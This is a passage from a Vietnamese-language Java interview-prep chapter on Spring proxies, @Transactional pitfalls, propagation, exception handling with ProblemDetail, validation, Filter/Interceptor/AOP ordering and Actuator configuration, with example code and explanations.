            for (String id : ids) this.pay(id); // 'this' is the real object, not the proxy
        }
    }
 
    static class TxProxy implements PaymentService { // same interface as the real object
        private final PaymentService target;
        TxProxy(PaymentService target) { this.target = target; }
 
        public void pay(String orderId) { around("pay", () -> target.pay(orderId)); }
        public void payAll(String... ids) { around("payAll", () -> target.payAll(ids)); }
 
        private void around(String method, Runnable call) {
            System.out.println("BEGIN tx for " + method);  // work before
            call.run();                                    // delegate to the real object
            System.out.println("COMMIT tx for " + method); // work after
        }
    }
 
    public static void main(String[] args) {
        PaymentService svc = new TxProxy(new RealPaymentService()); // callers only ever see the proxy
        svc.pay("A1");
        svc.payAll("B1", "B2");
    }
}



	BEGIN tx for pay
  paying A1
COMMIT tx for pay
BEGIN tx for payAll
  paying B1
  paying B2
COMMIT tx for payAll



Giải thích:
1. svc có kiểu PaymentService nhưng thực chất là TxProxy. Mỗi lời gọi từ main đi vào proxy trước, proxy in BEGIN, gọi object thật, rồi in COMMIT. Đây chính là việc Spring làm với @Transactional: thay dòng in bằng mở, commit hoặc rollback transaction.
1. Khi gọi payAll("B1", "B2"), bên trong object thật gọi this.pay(id). this là RealPaymentService, không phải proxy, nên hai lần pay bên trong không có dòng BEGIN tx for pay nào. Đây là toàn bộ bản chất của lỗi self-invocation ở mục 4.5: proxy chỉ chặn được lời gọi đi từ bên ngoài vào qua nó.
1. Trong Spring bạn không viết class TxProxy; Spring tự sinh nó lúc runtime bằng một trong hai kỹ thuật dưới đây.
JDK dynamic proxy và CGLIB: hai cách Spring tự sinh proxy
Viết tay một proxy cho từng service là không khả thi, nên Spring sinh proxy lúc chạy chương trình. JDK dynamic proxy là tính năng có sẵn trong JDK (java.lang.reflect.Proxy): nó tạo lúc runtime một class mới implement các interface bạn chỉ định, và dồn mọi lời gọi method về một InvocationHandler duy nhất do bạn viết.
	import java.lang.reflect.Proxy;
 
public class JdkProxyDemo {
    interface Greeter { String greet(String name); }
 
    public static void main(String[] args) {
        Greeter real = name -> "Hello " + name;
        Greeter proxy = (Greeter) Proxy.newProxyInstance(
                Greeter.class.getClassLoader(),
                new Class<?>[] { Greeter.class },            // the generated class implements Greeter
                (p, method, margs) -> {                       // every call on the proxy lands here
                    System.out.println("before " + method.getName());
                    Object result = method.invoke(real, margs); // forward to the real object
                    System.out.println("after " + method.getName());
                    return result;
                });
        System.out.println(proxy.greet("An"));               // prints: before greet, after greet, Hello An
        System.out.println(proxy instanceof Greeter);        // prints: true
        System.out.println(proxy.getClass().getSimpleName().startsWith("$Proxy")); // prints: true
    }
}



Giải thích: Proxy.newProxyInstance sinh ra một class tên kiểu $Proxy0 implement Greeter. Gọi proxy.greet("An") thì handler in before greet, chuyển tiếp sang real, in after greet, rồi main in Hello An. Giới hạn: proxy chỉ là "một thứ implement Greeter", không phải subclass của class thật, nên chỉ chặn được method có trong interface, và nếu chỗ khác inject theo class cụ thể (ví dụ RealGreeter) thì Spring báo lỗi kiểu bean không khớp.
CGLIB là thư viện sinh bytecode (Spring đóng gói sẵn trong spring-core): thay vì implement interface, nó tạo lúc runtime một subclass của class thật và override các method để chèn advice. Vì dựa trên kế thừa, class không cần interface, nhưng method final (và class final) thì không override được. Đoạn code Java thuần dưới đây viết tay tương đương thứ CGLIB sinh ra:
	public class SubclassProxyDemo {
    static class ReportService { // no interface at all
        public void export() { System.out.println("  exporting"); }
        public final void audit() { System.out.println("  auditing"); } // final: cannot be overridden
    }
 
    static class ReportServiceCglibLike extends ReportService { // roughly what CGLIB generates
        @Override
        public void export() {
            System.out.println("BEGIN tx");
            super.export(); // run the real logic
            System.out.println("COMMIT tx");
        }
        // audit() cannot be overridden, so the proxy cannot intercept it
    }
 
    public static void main(String[] args) {
        ReportService svc = new ReportServiceCglibLike();
        svc.export(); // prints: BEGIN tx, exporting, COMMIT tx
        svc.audit();  // prints only: auditing (no tx)
    }
}



Giải thích: export() được subclass override nên có BEGIN/COMMIT bao quanh. audit() là final, subclass không override được, lời gọi chạy thẳng code gốc và không có "transaction" nào: nếu đó là method @Transactional thật, annotation bị bỏ qua mà không có cảnh báo. Trong Spring thật, proxy CGLIB không gọi super mà giữ tham chiếu tới một object gốc riêng (target) và chuyển tiếp lời gọi sang đó, nhưng nguyên tắc "chỉ chặn được method override được" là như nhau. Bảng dưới tóm tắt hai cách:
	Tiêu chí
	JDK dynamic proxy
	CGLIB proxy

	Cơ chế
	Implement interface của bean
	Tạo subclass của bean

	Yêu cầu
	Bean phải có interface
	Class và method không được final

	Chặn được
	Method khai báo trên interface
	Method public/protected/package không final

	Spring Boot
	Chỉ khi tắt proxy-target-class
	Mặc định (spring.aop.proxy-target-class=true)



Giới hạn chung của cả hai: không chặn được lời gọi nội bộ qua this và không chặn method private. Đây là gốc rễ của hầu hết bug @Transactional, @Async, @Cacheable, @PreAuthorize "không chạy".
4.5 @Transactional: những chỗ hay sai
Transaction là gì và @Transactional làm gì
	NHẮC LẠI KIẾN THỨC
Transaction gom nhiều lệnh SQL thành một đơn vị "tất cả hoặc không gì cả". ACID: Atomicity (tất cả hoặc không), Consistency (trước và sau luôn thỏa ràng buộc), Isolation (transaction đồng thời không thấy trạng thái dở dang của nhau), Durability (đã commit thì không mất). Xem N2.4; isolation level chi tiết ở Chương 6.



Ví dụ kinh điển: chuyển 500 từ tài khoản 1 sang tài khoản 2 gồm hai lệnh UPDATE. Nếu lệnh thứ nhất chạy xong mà ứng dụng chết trước lệnh thứ hai, tiền biến mất. Transaction bảo đảm hai lệnh cùng có hiệu lực hoặc cùng bị hủy. Trong Spring, bạn không tự viết commit/rollback mà đánh dấu method bằng @Transactional:
	@Service
public class TransferService {
    private final AccountRepository accounts;
    public TransferService(AccountRepository accounts) { this.accounts = accounts; }
 
    @Transactional // the proxy opens a tx before and commits/rolls back after
    public void transfer(long fromId, long toId, BigDecimal amount) {
        Account from = accounts.findById(fromId).orElseThrow();
        Account to = accounts.findById(toId).orElseThrow();
        from.withdraw(amount); // throws InsufficientFundsException (a RuntimeException) if balance is too low
        to.deposit(amount);
        // no save() needed: JPA dirty checking flushes both changes at commit
    }
}



	[proxy]  get a connection from the pool, setAutoCommit(false)
[method] SELECT ... FROM account WHERE id = 1
[method] SELECT ... FROM account WHERE id = 2
[commit] UPDATE account SET balance = 1500 WHERE id = 1
[commit] UPDATE account SET balance = 2500 WHERE id = 2
[proxy]  COMMIT, return the connection to the pool
         (ROLLBACK instead if a RuntimeException escapes the method)



Giải thích: Controller gọi transferService.transfer(...) qua proxy (mục 4.4). Proxy (cụ thể là TransactionInterceptor) lấy một connection, tắt auto-commit, gắn connection đó vào thread hiện tại, rồi mới gọi method thật. Mọi repository dùng bên trong đều dùng chung connection này. Method kết thúc bình thường thì proxy commit, Hibernate flush hai lệnh UPDATE trước khi commit; nếu withdraw ném InsufficientFundsException thì proxy rollback và không số dư nào thay đổi. Mọi bẫy trong mục này đều quy về một câu hỏi: lời gọi có thực sự đi qua proxy không, và proxy nhìn thấy exception gì.
Self-invocation
Tình huống: bạn import một danh sách hóa đơn và muốn mỗi hóa đơn nằm trong một transaction riêng, để hóa đơn lỗi không kéo các hóa đơn khác rollback theo. Đoạn code dưới đây trông hợp lý nhưng thực tế không mở transaction nào:
	@Service
public class InvoiceService {
    public void importAll(List<InvoiceDto> items) {
        items.forEach(this::importOne); // called via this, bypasses the proxy
    }
 
    @Transactional // ignored when called from importAll
    public void importOne(InvoiceDto dto) { /* ... */ }
}



Giải thích: Controller gọi invoiceService.importAll(...) thông qua proxy CGLIB mà Spring tạo cho InvoiceService. Proxy thấy importAll không có @Transactional nên chuyển lời gọi thẳng vào object gốc. Bên trong object gốc, this::importOne trỏ tới chính object gốc chứ không phải proxy, nên TransactionInterceptor không bao giờ được chạy và importOne không có transaction nào được mở. Hậu quả: mỗi lời gọi repository bên trong tự chạy trong transaction ngắn của riêng nó (method của SimpleJpaRepository có @Transactional sẵn), một hóa đơn gồm nhiều lần ghi không còn nguyên tử, lỗi ở giữa để lại dữ liệu dở dang, và không có exception hay cảnh báo nào báo cho bạn biết. Cách sửa sạch nhất là tách importOne sang bean khác (ví dụ InvoiceImporter), để importAll gọi invoiceImporter.importOne(dto): lời gọi lúc này đi qua proxy của bean kia nên mỗi hóa đơn có transaction riêng. Các cách như tự inject chính mình (@Lazy self) hay AopContext.currentProxy() chạy được nhưng làm code khó đọc.
Kịch bản từng bước với 3 hóa đơn, trong đó hóa đơn thứ 2 lỗi khi lưu các dòng chi tiết:
1. Controller gọi invoiceService.importAll(list). Biến invoiceService thực chất là proxy.
1. Proxy xem importAll: không có @Transactional, nên gọi thẳng object gốc, không mở transaction.
1. Object gốc chạy this.importOne(hd1). this là object gốc, proxy không hề biết có lời gọi này.
1. Hóa đơn 1: invoiceRepository.save(header) tự mở và commit một transaction ngắn; lineRepository.saveAll(lines) cũng vậy. Kết quả đúng, nhưng chỉ là nhờ may mắn.
1. Hóa đơn 2: header được lưu và đã commit, sau đó saveAll(lines) ném exception. Header không bị rollback vì nó nằm ở transaction riêng đã kết thúc.
1. Exception bay ra khỏi importAll, hóa đơn 3 không được xử lý. DB còn lại hóa đơn 2 có header mà không có dòng chi tiết.
Code sửa: tách method cần transaction sang bean khác để lời gọi đi qua proxy.
	@Service
public class InvoiceService {
    private static final Logger log = LoggerFactory.getLogger(InvoiceService.class);
    private final InvoiceImporter importer; // another bean: calls go through its proxy
 
    public InvoiceService(InvoiceImporter importer) { this.importer = importer; }
 
    public void importAll(List<InvoiceDto> items) {
        for (InvoiceDto dto : items) {
            try {
                importer.importOne(dto); // proxy call: one transaction per invoice
            } catch (RuntimeException e) {
                log.warn("Invoice {} failed", dto.number(), e); // one bad invoice does not stop the rest
            }
        }
    }
}
 
@Service
class InvoiceImporter {
    @Transactional
    public void importOne(InvoiceDto dto) { /* save header, then lines */ }
}



Giải thích: Giờ bước 3 đi qua proxy của InvoiceImporter, nên mỗi hóa đơn có một transaction bao trọn header và dòng chi tiết. Hóa đơn 2 lỗi thì cả header lẫn dòng chi tiết của nó rollback, exception được catch ở importAll và vòng lặp tiếp tục với hóa đơn 3. Lưu ý: cách này đúng vì importAll không có transaction. Nếu bạn gắn thêm @Transactional lên importAll, importOne (REQUIRED) sẽ tham gia transaction ngoài; hóa đơn 2 lỗi làm cả transaction bị đánh dấu rollback-only và bạn nhận UnexpectedRollbackException ở cuối (xem mục Propagation). Khi đó phải dùng REQUIRES_NEW cho importOne.
Visibility của method
Với JDK proxy, chỉ method public khai báo trên interface được áp transaction. Từ Spring 6.0, với proxy dạng class (CGLIB), @Transactional trên method protected và package-private cũng được hỗ trợ. Method private thì không bao giờ. Nhiều tài liệu vẫn nói "chỉ public" — đúng với Spring 5, còn Spring 6 đã nới ra. Dù vậy, quy ước an toàn và dễ review nhất vẫn là đặt @Transactional trên method public của service.
	@Service
public class CouponService {
    public void redeemAll(List<Long> ids) { ids.forEach(this::redeem); }
 
    @Transactional // never applied: private methods cannot be intercepted by any proxy
    private void redeem(long id) { /* ... */ }
}



Giải thích: Code biên dịch và chạy bình thường nhưng redeem không bao giờ có transaction: subclass do CGLIB sinh ra không override được method private, và lời gọi lại đi qua this. IntelliJ có cảnh báo cho trường hợp này, nhưng Spring không báo lỗi lúc khởi động, nên review code là tuyến phòng thủ chính.
Rollback rule
Mặc định Spring chỉ rollback với RuntimeException và Error. Checked exception (ví dụ IOException, exception nghiệp vụ extends Exception) sẽ commit. Muốn rollback: @Transactional(rollbackFor = Exception.class), hoặc thiết kế exception nghiệp vụ kế thừa RuntimeException. Một bẫy khác: bạn catch exception bên trong method rồi nuốt đi, proxy không thấy exception nên commit như bình thường.
	NHẮC LẠI KIẾN THỨC
Checked exception là exception kế thừa Exception (nhưng không kế thừa RuntimeException); compiler bắt bạn catch hoặc khai báo throws. Unchecked exception kế thừa RuntimeException, compiler không bắt buộc xử lý (xem N1.12).



Đoạn code dưới đây thay toàn bộ tồn kho bằng dữ liệu từ file, và ném checked exception khi gặp dòng không hợp lệ:
	public class InvalidRowException extends Exception { // checked: extends Exception
    public InvalidRowException(String msg) { super(msg); }
}
 
@Service
public class StockImportService {
    private final StockRepository stockRepository;
    public StockImportService(StockRepository stockRepository) { this.stockRepository = stockRepository; }
 
    @Transactional // WRONG for this case: checked exceptions do not trigger rollback
    public void replaceAll(List<String> rows) throws InvalidRowException {
        stockRepository.deleteAll();                             // 1. old stock deleted
        for (String row : rows) {
            if (row.isBlank()) throw new InvalidRowException("blank row"); // 2. thrown halfway
            stockRepository.save(Stock.parse(row));
        }
    }
}



	@Transactional(rollbackFor = InvalidRowException.class) // FIXED: roll back on this checked exception too
public void replaceAll(List<String> rows) throws InvalidRowException { /* same body */ }



Giải thích: File có 5 dòng, dòng thứ 3 trống. Ở bản sai, deleteAll() và 2 lệnh save đầu đã chạy, rồi InvalidRowException được ném ra. Proxy thấy đây là checked exception, theo quy tắc mặc định thì commit: kho mất toàn bộ dữ liệu cũ và chỉ còn 2 dòng mới, trong khi controller vẫn báo lỗi cho người dùng. Ở bản sửa, rollbackFor khai báo rằng exception này cũng phải rollback, nên kho giữ nguyên dữ liệu cũ. Cách thay thế là cho InvalidRowException kế thừa RuntimeException. Nhiều team đặt quy ước rollbackFor = Exception.class cho mọi method ghi để khỏi phải nhớ.
Biến thể "nuốt exception" cũng dẫn tới commit ngoài ý muốn:
	@Transactional(rollbackFor = Exception.class)
public void replaceAllQuietly(List<String> rows) {
    try {
        replaceAllInternal(rows); // throws InvalidRowException at row 3
    } catch (InvalidRowException e) {
        log.warn("Bad file", e); // WRONG: swallowed, the proxy sees a normal return -> COMMIT
    }
}



Giải thích: rollbackFor chỉ có tác dụng khi exception bay ra khỏi method để proxy nhìn thấy. Ở đây exception bị catch và chỉ ghi log, method trả về bình thường, proxy commit dữ liệu dở dang. Sửa bằng cách ném lại (throw new StockImportException(e) với một RuntimeException), hoặc nếu thực sự không muốn ném thì đánh dấu thủ công TransactionAspectSupport.currentTransactionStatus().setRollbackOnly().
Propagation
	Propagation
	Khi đã có transaction
	Khi chưa có

	REQUIRED (mặc định)
	Tham gia transaction hiện tại
	Tạo mới

	REQUIRES_NEW
	Tạm dừng cái cũ, tạo transaction độc lập
	Tạo mới

	NESTED
	Tạo savepoint trong transaction hiện tại
	Tạo mới

	MANDATORY
	Tham gia
	Ném exception



Propagation là quy tắc "khi method này được gọi trong lúc đã có một transaction đang chạy thì làm gì". Bảng kịch bản dưới đây dùng cùng một tình huống: OrderService.cancel() có @Transactional (REQUIRED), bên trong gọi auditService.record() ở bean khác với propagation thay đổi theo từng dòng.
	Propagation của record()
	Chuyện gì xảy ra
	Thay đổi của đơn hàng
	Dòng audit log

	REQUIRED
	cancel() lỗi sau khi ghi log
	Rollback
	Rollback theo (chung transaction)

	REQUIRES_NEW
	cancel() lỗi sau khi ghi log
	Rollback
	Vẫn còn (đã commit riêng)

	REQUIRES_NEW
	record() lỗi, cancel() catch
	Commit bình thường
	Không có (rollback riêng)

	REQUIRED
	record() lỗi, cancel() catch
	Rollback, ném UnexpectedRollbackException
	Không có

	NESTED
	record() lỗi, cancel() catch
	Commit (chỉ rollback về savepoint)
	Không có

	MANDATORY
	Gọi record() từ nơi không có transaction
	Không áp dụng
	IllegalTransactionStateException



Đoạn code dưới đây là dòng thứ hai của bảng, trường hợp dùng REQUIRES_NEW phổ biến nhất:
	@Service
public class AuditService {
    private final AuditRepository auditRepository;
    public AuditService(AuditRepository auditRepository) { this.auditRepository = auditRepository; }
 
    @Transactional(propagation = Propagation.REQUIRES_NEW) // own transaction, own connection
    public void record(String action) {
        auditRepository.save(new AuditLog(action)); // committed as soon as this method returns
    }
}
 
@Service
public class OrderService {
    private final AuditService audit;              // constructor omitted
    private final OrderRepository orderRepository;
 
    @Transactional
    public void cancel(long orderId) {
        audit.record("CANCEL " + orderId);          // outer tx suspended, inner tx commits
        orderRepository.markCancelled(orderId);
        throw new IllegalStateException("refund failed"); // order change rolls back, audit row stays
    }
}



Giải thích: Khi cancel() gọi audit.record(), proxy của AuditService tạm treo transaction của cancel(), lấy connection thứ hai từ pool, mở transaction mới, lưu audit log và commit ngay. Quay lại cancel(), lệnh đánh dấu hủy đơn chạy trong transaction ngoài, rồi exception làm transaction ngoài rollback. Kết quả: đơn hàng không bị hủy, nhưng audit log ghi lại rằng đã có người thử hủy, đúng điều bạn muốn cho mục đích kiểm toán. Nếu đổi record() về REQUIRED, dòng audit log cũng mất theo.
REQUIRES_NEW dùng cho việc phải được lưu dù transaction ngoài rollback, như ghi audit log. Nó cần connection thứ hai từ pool trong khi connection đầu vẫn bị giữ; dưới tải cao có thể cạn pool và treo cả hệ thống. NESTED dựa vào JDBC savepoint: rollback phần con không kéo cha rollback, nhưng cha rollback thì con mất theo; với JPA/Hibernate hỗ trợ khá hạn chế nên ít gặp trong thực tế.
Bẫy kinh điển với REQUIRED: method con (cùng transaction) ném RuntimeException, method cha catch và tiếp tục. Transaction đã bị đánh dấu rollback-only, nên lúc commit bạn nhận UnexpectedRollbackException.
	@Transactional
public void checkout(Cart cart) {
    try {
        couponService.apply(cart); // REQUIRED: joins this tx, throws CouponExpiredException (runtime)
    } catch (CouponExpiredException e) {
        cart.clearCoupon();        // looks harmless: continue without the coupon
    }
    orderRepository.save(Order.from(cart));
} // commit attempt -> UnexpectedRollbackException, the order is NOT saved



Giải thích: Khi exception bay qua proxy của couponService.apply(), proxy đó đánh dấu transaction chung là rollback-only (nó không biết bạn sẽ catch). checkout() catch và chạy tiếp, nhưng đến lúc proxy ngoài định commit thì thấy cờ rollback-only, nên rollback và ném UnexpectedRollbackException. Cách sửa: để apply() trả về kết quả (ví dụ boolean hoặc Optional) thay vì ném exception cho một tình huống nghiệp vụ bình thường; hoặc khai báo @Transactional(noRollbackFor = CouponExpiredException.class) trên apply(); hoặc kiểm tra coupon trước khi vào transaction.
readOnly
@Transactional(readOnly = true) là gợi ý tối ưu: Hibernate tắt dirty checking và không flush (không cần giữ snapshot entity), driver có thể đặt connection read-only, và bạn có thể dựa vào nó để định tuyến sang read replica. Đừng coi nó là cơ chế bảo vệ chống ghi; hành vi thực sự phụ thuộc vào driver và DB.
	@Service
@Transactional(readOnly = true) // default for every method of this class: reads only
public class ReportQueryService {
    private final OrderRepository orders;
    public ReportQueryService(OrderRepository orders) { this.orders = orders; }
 
    public List<OrderSummary> lastMonth() { return orders.findSummariesSince(LocalDate.now().minusMonths(1)); }
 
    @Transactional // overrides the class-level setting for the one method that writes
    public void markExported(long orderId) { orders.markExported(orderId); }
}



Giải thích: @Transactional đặt ở class áp dụng cho mọi method public; annotation trên method ghi đè annotation ở class. Kiểu "class read-only, method ghi khai báo riêng" giúp Hibernate bỏ qua dirty checking cho các truy vấn báo cáo lớn, đồng thời người review nhìn là biết method nào có ghi.
Transaction dài và gọi API bên ngoài
Gọi HTTP sang cổng thanh toán hay gửi email bên trong @Transactional là lỗi thiết kế tôi gặp rất nhiều:
1. Connection DB bị giữ suốt thời gian chờ mạng; API chậm 10 giây là 10 giây connection bị chiếm, pool cạn rất nhanh.
1. Lock trên row bị giữ lâu, tăng tranh chấp và deadlock.
1. Không nhất quán: API bên ngoài đã thành công nhưng transaction DB rollback (hoặc ngược lại), và không có cách rollback lời gọi HTTP.
	@Service
public class PaymentFlowWrong {
    // fields and constructor omitted
    @Transactional // WRONG: a DB connection is held during the whole HTTP call
    public void pay(long orderId) {
        Order order = orderRepository.findById(orderId).orElseThrow();
        PaymentResult r = paymentClient.charge(order); // up to 10s of network wait, connection still held
        order.markPaid(r.transactionId());
    }
}
 
@Service
public class PaymentFlow {
    // fields and constructor omitted
    public void pay(long orderId) {                    // FIXED: no transaction around the HTTP call
        Order order = orderTx.loadPending(orderId);    // short tx #1 (method of another bean)
        PaymentResult r = paymentClient.charge(order); // no connection held while waiting
        orderTx.markPaid(orderId, r.transactionId());  // short tx #2
    }
}



Giải thích: Với pool 10 connection và cổng thanh toán chậm 10 giây, bản sai chỉ cần 10 request thanh toán đồng thời là mọi request khác của hệ thống (kể cả trang xem sản phẩm) phải chờ connection và timeout. Bản sửa chia thành hai transaction ngắn ở bean orderTx, lời gọi HTTP nằm giữa không giữ connection nào. Cái giá phải trả: nếu app chết giữa hai bước, đơn nằm ở trạng thái PENDING, nên cần idempotency key khi gọi cổng thanh toán và job đối soát, như câu hỏi phỏng vấn ở cuối chương.
Hướng xử lý: giữ transaction ngắn, chỉ chứa thao tác DB; gọi API ngoài trước hoặc sau transaction; dùng @TransactionalEventListener(phase = AFTER_COMMIT) cho side effect sau commit; với yêu cầu tin cậy cao, dùng Transactional Outbox (ghi event vào bảng outbox cùng transaction, worker gửi đi sau) kết hợp idempotency ở phía nhận.
4.6 Xử lý lỗi, validation, Filter/Interceptor/AOP
Global exception handling với ProblemDetail
Mục tiêu: mọi lỗi trả về client có cùng một format, lỗi nghiệp vụ mang status code đúng nghĩa, còn lỗi bất ngờ không làm lộ chi tiết nội bộ. Đoạn code dưới đây gom việc đó về một chỗ thay vì try/catch rải rác trong từng controller:
	@RestControllerAdvice // applies to every @RestController
public class GlobalExceptionHandler {
    private static final Logger log = LoggerFactory.getLogger(GlobalExceptionHandler.class);
 
    @ExceptionHandler(OrderNotFoundException.class) // known business error -> 404
    public ProblemDetail handleNotFound(OrderNotFoundException ex) {
        ProblemDetail pd = ProblemDetail.forStatusAndDetail(HttpStatus.NOT_FOUND, ex.getMessage());
        pd.setTitle("Order not found");
        pd.setProperty("orderId", ex.getOrderId()); // extension field, becomes a JSON key
        return pd;
    }
 
    @ExceptionHandler(Exception.class) // safety net for everything else -> 500
    public ProblemDetail handleUnexpected(Exception ex) {
        log.error("Unexpected error", ex); // full details stay in the server log
        return ProblemDetail.forStatusAndDetail(
                HttpStatus.INTERNAL_SERVER_ERROR, "Internal error"); // no internal details leaked
    }
}



Giải thích: Khi controller ném OrderNotFoundException, DispatcherServlet giao exception cho ExceptionHandlerExceptionResolver. Resolver tìm trong advice handler khớp gần nhất theo cây kế thừa, nên OrderNotFoundException đi vào handleNotFound chứ không rơi vào handler Exception. Client nhận HTTP 404, Content-Type: application/problem+json, body dạng {"type":"about:blank","title":"Order not found","status":404,"detail":"...","instance":"/api/orders/42","orderId":42} (Spring tự điền instance bằng đường dẫn request). Mọi exception khác (ví dụ NullPointerException, lỗi DB) rơi vào handleUnexpected: stack trace được ghi vào log ở server, còn client chỉ nhận 500 với thông điệp chung "Internal error".
Spring 6 đưa vào ProblemDetail theo chuẩn Problem Details (RFC 7807, nay là RFC 9457), trả về application/problem+json. Bật spring.mvc.problemdetails.enabled=true để các lỗi chuẩn của Spring MVC cũng trả về định dạng này, hoặc cho advice kế thừa ResponseEntityExceptionHandler. Nguyên tắc: một format lỗi thống nhất toàn hệ thống, log chi tiết ở server, không trả stack trace hay câu SQL cho client.
Validation
Cần thêm spring-boot-starter-validation (từ Boot 2.3 không còn nằm sẵn trong starter web). Annotation thuộc jakarta.validation.constraints (@NotBlank, @Email, @Size...). Đặt @Valid trên @RequestBody → lỗi ném MethodArgumentNotValidException (400). Validate tham số đơn (@PathVariable, @RequestParam) cần method validation: truyền thống là @Validated trên class (ném ConstraintViolationException); từ Spring 6.1 controller có method validation tích hợp và ném HandlerMethodValidationException. Hãy xử lý cả hai trong advice để format lỗi nhất quán. Validation ở DTO chỉ kiểm tra định dạng; quy tắc nghiệp vụ (tồn kho đủ không, email đã tồn tại chưa) thuộc về service.
Đoạn code dưới đây validate body của request tạo user:
	public record CreateUserRequest(
        @NotBlank String name,               // null, "" and "   " are rejected
        @NotBlank @Email String email,
        @NotNull @Size(min = 8) String password) {}
 
@RestController
@RequestMapping("/api/users")
public class UserController {
    @PostMapping
    public ResponseEntity<Void> create(@Valid @RequestBody CreateUserRequest req) { // @Valid triggers validation
        // reached only when every constraint passes
        return ResponseEntity.status(HttpStatus.CREATED).build();
    }
}



	{
  "type": "about:blank",
  "title": "Bad Request",
  "status": 400,
  "detail": "Invalid request content.",
  "instance": "/api/users"
}



Giải thích: Gửi {"name":"","email":"abc","password":"123"} thì cả ba ràng buộc đều sai, Spring ném MethodArgumentNotValidException trước khi thân method chạy, và với spring.mvc.problemdetails.enabled=true client nhận 400 như JSON trên. Body mặc định không liệt kê field nào sai; trong thực tế bạn thêm handler trong advice đọc ex.getBindingResult().getFieldErrors() và đưa vào một property errors của ProblemDetail, để frontend hiển thị lỗi cạnh từng ô nhập. Các annotation này nằm trong jakarta.validation.constraints, không phải javax.validation như Boot 2.
Filter vs Interceptor vs AOP
	Tiêu chí
	Filter
	HandlerInterceptor
	AOP

	Tầng
	Servlet, trước DispatcherServlet
	Spring MVC, quanh handler
	Quanh method của bất kỳ bean

	Biết handler nào xử lý
	Không
	Có
	Biết method và tham số

	Dùng cho
	Security, CORS, request logging, trace id
	Kiểm tra tenant, locale, đo thời gian handler
	Transaction, audit, cache, retry



	NHẮC LẠI KIẾN THỨC
Request HTTP đi vào Tomcat (servlet container), qua các Filter (class chặn request ở tầng Servlet), rồi tới DispatcherServlet là "cổng vào" duy nhất của Spring MVC; DispatcherServlet tìm method controller phù hợp (handler) để gọi (xem N2.6).



Đường đi của một request qua Filter, Interceptor và AOP
Ba cơ chế đều "chèn code vào trước và sau", khác nhau ở chỗ chúng đứng ở đâu trên đường đi của request. HandlerInterceptor là cơ chế của Spring MVC, chạy sau khi DispatcherServlet đã chọn được method controller. Sơ đồ cho request GET /api/orders/42:
	Client  GET /api/orders/42
  -> Tomcat
  -> Filter: TraceIdFilter            (Servlet layer, sees only the raw request)
  -> Filter: Spring Security chain    (401/403 decided here)
  -> DispatcherServlet                (Spring MVC entry, picks the handler)
  -> Interceptor.preHandle            (knows it is OrderController#get)
  -> OrderController.get(42)
  -> proxy of OrderService            (AOP: @Transactional, @Cacheable, custom @Aspect)
  -> OrderService.find(42) -> repository -> DB
  <- Interceptor.afterCompletion
  <- code after chain.doFilter(...) in TraceIdFilter
Client  200 OK



Ba đoạn code dưới đây cài một Filter, một Interceptor và một Aspect, mỗi cái in một dòng để thấy thứ tự thực tế.
	@Component
public class TraceIdFilter extends OncePerRequestFilter {
    @Override
    protected void doFilterInternal(HttpServletRequest req, HttpServletResponse res, FilterChain chain)
            throws ServletException, IOException {
        System.out.println("1. filter before: " + req.getRequestURI());
        chain.doFilter(req, res); // pass the request on; skipping this line blocks it
        System.out.println("6. filter after: status " + res.getStatus());
    }
}



	@Component
public class TimingInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest req, HttpServletResponse res, Object handler) {
        System.out.println("2. interceptor preHandle: " + handler); // e.g. OrderController#get(Long)
        return true; // returning false stops the request here
    }
 
    @Override
    public void afterCompletion(HttpServletRequest req, HttpServletResponse res, Object handler, Exception ex) {
        System.out.println("5. interceptor afterCompletion");
    }
}
 
@Configuration
class WebConfig implements WebMvcConfigurer {
    private final TimingInterceptor timing;
    WebConfig(TimingInterceptor timing) { this.timing = timing; }
 
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(timing).addPathPatterns("/api/**"); // interceptors must be registered
    }
}



	@Aspect
@Component
public class ServiceLogAspect {
    @Around("execution(* com.shop.order..*Service.*(..))") // every method of *Service classes
    public Object log(ProceedingJoinPoint pjp) throws Throwable {
        System.out.println("3. aspect before: " + pjp.getSignature().getName());
        Object result = pjp.proceed(); // call the real service method
        System.out.println("4. aspect after");
        return result;
    }
}



	1. filter before: /api/orders/42
2. interceptor preHandle: com.shop.order.OrderController#get(Long)
3. aspect before: find
4. aspect after
5. interceptor afterCompletion
6. filter after: status 200



Giải thích: Filter đứng ngoài cùng, chỉ biết URL và header; nó thấy cả request bị Spring Security từ chối, nên hợp cho trace id và log truy cập. Interceptor chạy sau khi Spring đã chọn handler, nên biết request sẽ vào OrderController#get, hợp cho logic gắn với controller (tenant, locale, đo thời gian handler); Filter là @Component được Boot tự đăng ký, còn Interceptor phải đăng ký qua WebMvcConfigurer. Aspect bọc method của bean bất kỳ, kể cả khi không có HTTP request (job định kỳ, Kafka consumer), nên hợp cho audit và transaction ở tầng service.
Spring Security là một chuỗi Filter, nên request bị chặn trước khi tới controller. Exception ném trong Filter không đi qua @RestControllerAdvice vì chưa tới DispatcherServlet.
Actuator
spring-boot-starter-actuator cung cấp /actuator/health (kèm liveness/readiness cho Kubernetes probe), /actuator/metrics, /actuator/prometheus (với Micrometer registry), /actuator/info. Từ Boot 2.5, qua HTTP chỉ health được expose mặc định. Không bao giờ expose công khai env, heapdump, configprops; tách cổng management hoặc chặn bằng Spring Security.
	management:
  server:
    port: 8081                           # separate port, not routed through the public ingress
  endpoints:
    web:
      exposure:
        include: health,info,prometheus  # never "*" in production
  endpoint:
    health:
      probes:
        enabled: true                    # /actuator/health/liveness and /actuator/health/readiness



Giải thích: Cấu hình này đưa actuator sang cổng 8081 chỉ mở trong mạng nội bộ, chỉ expose ba endpoint cần cho Kubernetes probe và Prometheus. Nếu lỡ đặt include: "*" trên cổng công khai, ai cũng tải được /actuator/heapdump, file chứa mọi thứ trong bộ nhớ, kể cả mật khẩu DB và token của người dùng đang đăng nhập.
4.7 Câu hỏi phỏng vấn thường gặp
Câu hỏi (Cơ bản): Vì sao nên dùng constructor injection thay vì @Autowired trên field?
Constructor injection đảm bảo dependency có mặt ngay khi object được tạo, cho phép final và bất biến, test được bằng new mà không cần Spring, và làm lộ vấn đề thiết kế: constructor 8 tham số nghĩa là class làm quá nhiều việc. Circular dependency cũng bị phát hiện ngay khi khởi động.
	BẪY THƯỜNG GẶP
Nói "field injection ngắn gọn hơn nên team em dùng" mà không nêu được nhược điểm. Ở mức 2–4 năm, người phỏng vấn muốn nghe trade-off, không phải thói quen.



	CÂU HỎI ĐÀO SÂU
